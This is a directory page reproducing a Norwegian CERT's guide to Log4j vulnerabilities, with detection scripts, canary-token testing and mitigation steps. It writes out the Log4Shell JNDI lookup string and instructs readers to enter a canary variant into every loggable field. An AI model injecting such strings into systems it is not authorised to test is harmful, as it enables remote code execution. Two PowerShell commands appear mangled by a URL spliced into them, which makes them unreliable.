Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228 — Norwegian-language guide to Log4j vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, CVE-2019-17571) with detection scripts, mitigation steps, and mind maps for identifying and remediating affected systems. | Kitploit
Tools/GitHubGitHub/helsecert/cve-2021-44228
Vulnerability AnalysisSupply Chain SecurityLearning & EducationIncident ResponseCurated ResourcesLog Analysis
GitHubhelsecert/cve-2021-44228

CVE-2021-44228

Norwegian-language guide to Log4j vulnerabilities (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, CVE-2019-17571) with detection scripts, mitigation steps, and mind maps for identifying and remediating affected systems.

View Repository
1124 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Log4j Vulnerabilities

Update 19.12.2021: New vulnerabilities and new ways to exploit them in Log4j are constantly being discovered. We have added three flowcharts (mind maps) to the git repo that respectively describe vulnerable versions of Log4j, how to check if you are vulnerable, and mitigation of the various vulnerabilities.

Recommendation

Log4j v2.x:

  • Identify software that uses Log4j version 2.x

  • Mitigate vulnerabilities in Log4j

    • Update software that uses Log4j to a version that uses Log4j 2.17.0

    If the above is not possible

    • Ensure that mitigation measures for CVE-2021-44228 and CVE-2021-45046 are implemented, note that you are then vulnerable to DoS
    • If the systems are particularly critical, consider checking for Context Lookups in Pattern Layouts in the Log4j2 configuration

Log4j v1.x:

  • Identify software that uses Log4j version 1.x.

  • If Log4j version 1.x is used in the organization, engage in dialogue with the vendor and demand that they

  • Upgrade to Log4j version 2.x
  • alternatively switch to another library for logging
  • The Vulnerabilities

    CVE-2021-44228

    The big bad wolf of the Log4j vulnerabilities. The vulnerability is exploited when a variant of the string ${jndi:ldap://\<attack_code>/a} is logged by Log4j. CVSS 10.0, RCE.

    CVE-2021-45046

    Not as big as CVE-2021-44228, but just as nasty. Requires non-standard Log4j configuration. CVSS 9.0, RCE and DoS.

    CVE-2021-45105

    Not as big as CVE-2021-44228, also a bit less nasty. CVSS 7.5, DoS

    CVE-2021-4104

    Applies only to Log4j version 1.x. Requires that Log4j uses JMSAppender. CVSS 6.6, RCE Exploitation requires that Log4j uses JMSAppender. Either because JMSAppender is configured directly - which is unusual - or because the attacker themselves adds it to the Log4j configuration. In addition, the attacker must have access to modify the JMSAppender configuration. If that is the case, the attacker would normally already have access to the system. The vulnerability is therefore considered of low relevance.

    CVE-2019-17571

    Applies only to Log4j version 1.x. Requires that Log4j uses SocketServer. CVSS 9.8, RCE Gives an attacker with network access to the relevant socket the ability to execute code. Exploit code is publicly available.

    For Java 8, Log4j v. 2.17.0 is the latest version. It mitigates all vulnerabilities above.

    Version 2.16.0 mitigates the worst vulnerabilities.

    For Java 7, Log4j has been released in version 2.12.2. This does not mitigate CVE-2021-45105. The Log4j team additionally states that neither Java 6 nor Java 7 are supported any longer. It is uncertain whether they will release another security update for Log4j on Java 7.

    The flowchart "Mind map #1" provides a good overview of the conditions for whether you have the various vulnerabilities.
    Flowchart for whether you are vulnerable to Log4j

    Created by Loïc Castel. Retrieved from github.

    Detecting if you are vulnerable

    Part of the challenge is that it is not necessarily servers directly exposed to the internet that are vulnerable. The vulnerability may be in a server further back in the 'chain' that receives the same data and logs it. This can make it challenging to know what is exposed and what is not.

    The flowchart "Mind map #2" provides a good overview of how to check your own systems for the vulnerabilities.

    Flowchart for searching for vulnerable instances of Log4j

    Created by Loïc Castel. Retrieved from github.

    By triggering the vulnerability 1. Create a DNS canary token [https://canarytokens.org/generate#](https://canarytokens.org/generate#)

    Creating DNS canary

    1. Build this text string ${jndi:ldap://<canarytoken>/a}
    2. Enter this string in all fields that could potentially be logged

    "Searching" with canary string

    root@kitploit:~
    - User-agent
    - Search fields
    - Username
    - ...
    

    4. Follow up on canary hits and find out where log4j is running.

    Ref: Tweet from Florian Roth

    By searching on hosts

    Windows

    This covers all drives, including mapped network drives:

    root@kitploit:~
    Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}
    

    Ref: https://twitter.com/0gtweet/status/1469661769547362305

    If you only want to check local drives:

    root@kitploit:~
    Get-CimInstance win32_volume | Where-Object { $_.DriveType -eq 3 -and $_.DriveLetter -ne $null} | ForEach-Object {(gci ($_.DriveLetter+"\") -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}
    

    Ref: https://twitter.com/webmastir/status/1470386184052486155?s=20

    If you also want to check the event log on the machine.

    root@kitploit:~
    Get-WinEvent -ListLog * |
      foreach { get-winevent @{logname=$_.logname; } -ea 0 } |
      where message -match 'jndi'
    

    Linux #1

    root@kitploit:~
    #!/bin/bash
    find / -name '*log4j*.jar' -print0 2>/dev/null -print0 | while read -d $'\0' log4j; do
            echo -en "${log4j}: "$(unzip -p "${log4j}" | strings | grep -Po '^Implementation-Version:\s+([0-9\.]+)' | awk '{ print $NF }')"\n"
    done
    exit 0
    

    Run as root

    Linux #2

    root@kitploit:~
    lsof | grep log4j-core
    

    Mitigate vulnerability

    The flowchart "Mind map #3" provides an overview of mitigation options.

    Flowchart for mitigations for Log4j

    Created by Loïc Castel. Retrieved from github.

    Below we have listed some resources for implementing the mitigations.

    #1 Patch

    Java 8

    Update Log4j to v 2.17.0

    Java 7

    Update Log4j to v 2.12.2 NOTE does not mitigate CVE-2021-45105

    #4 Mitigate #1: Set variable

    ⚠️ This method is no longer considered a complete solution as it does not mitigate all vulnerabilities in all situations.

    Windows

    root@kitploit:~
    [Environment]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:SetEnvironmentVariable(%22LOG4J_FORMAT_MSG_NO_LOOKUPS%22,%22true%22,%22Machine%22)
    

    NOTE: Requires restart

    From https://twitter.com/CyberRaiju/status/1469505680138661890

    Set JVM flag

    root@kitploit:~
    "‐Dlog4j2.formatMsgNoLookups=True"
    

    Command line example:

    root@kitploit:~
    JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" teku --network mainnet
    

    Or with an -Xmx value:

    root@kitploit:~
    JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true -Xmx4g" teku
    

    Systemd config example:

    root@kitploit:~
    Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"'
    

    Or with an -Xmx value:

    root@kitploit:~
    Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" "-Xmx4g'
    

    This is loaded upon application restart From https://github.com/ConsenSys/teku/security/advisories/GHSA-mwfw-vm54-g3p7

    #4 Mitigate #2: Delete Java class Delete JndiLookup.class in the log4j jar file.

    A jar file is an archive (zip file) and can be opened. Files can then be removed. This can be done manually with tools like 7-zip (see image) or by using a script.

    Requires application restart

    Ref: https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/9

    Removal of jndilookup.class

    Windows

    root@kitploit:~
    [Reflection.Assembly]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:LoadWithPartialName(%27System.IO.Compression%27)
    $JarFilLokasjon = 'C:\temp\log4j-core-2.13.0-test.jar'
    $Filnavn   = 'JndiLookup.class' #Denne filen slettes!
    
    $Stream = New-Object IO.FileStream($JarFilLokasjon, [IO.FileMode]::Open)
    $ZipMode   = [IO.Compression.ZipArchiveMode]::Update
    $Zip    = New-Object IO.Compression.ZipArchive($stream, $ZipMode)
    
    ($zip.Entries | Where-Object { $Filnavn -contains $_.Name }) | ForEach-Object { $_.Delete() }
    $zip.Dispose()
    $stream.Close()
    $stream.Dispose()
    

    Linux

    root@kitploit:~
    zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
    

    Lists of affected software

    https://github.com/NCSC-NL/log4shell/tree/main/software

    https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

    https://github.com/cisagov/log4j-affected-db

    Download Tool